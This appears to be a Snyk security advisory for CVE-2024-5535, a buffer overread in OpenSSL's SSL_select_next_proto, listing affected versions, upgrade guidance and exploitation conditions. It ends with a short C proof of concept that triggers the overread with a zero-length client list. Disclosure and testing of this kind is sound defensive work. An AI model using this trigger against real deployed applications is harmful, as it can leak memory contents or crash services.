Information Exposure Affecting openssl package, versions [3.0.5,3.0.15)[3.1.0,3.1.7)[3.2.0,3.2.3)[3.3.1,3.3.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published8 May 2025
- disclosed27 Jun 2024
- creditJoseph Birr-Pixton
Introduced: 27 Jun 2024
CVE-2024-5535 (opens in a new tab)How to fix?
Upgrade openssl to version 3.0.15, 3.1.7, 3.2.3, 3.3.2 or higher.
Overview
Affected versions of this package are vulnerable to Information Exposure through the SSL_select_next_proto function. An attacker can cause unexpected application behavior or a crash by exploiting the buffer overread condition when the function is called with a zero-length client list. This is only exploitable if the application is misconfigured to use a zero-length server list and mishandles the 'no overlap' response in ALPN or uses the output as the opportunistic protocol in NPN.
Note:
The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.
PoC
#include <openssl/ssl.h>
#include <stdint.h>
#include <stdio.h>
int main() {
uint8_t client_input[] = {};
uint8_t *output = NULL;
uint8_t output_len = 0;
const uint8_t server_input[] = {2, 'h', '2'};
int ret = SSL_select_next_proto(&output, &output_len, server_input,
sizeof(server_input), client_input, 0);
printf("ret = %d\n", ret);
printf("output = %p\n", output);
printf("output_len = %u\n", (unsigned)output_len);
return 0;
}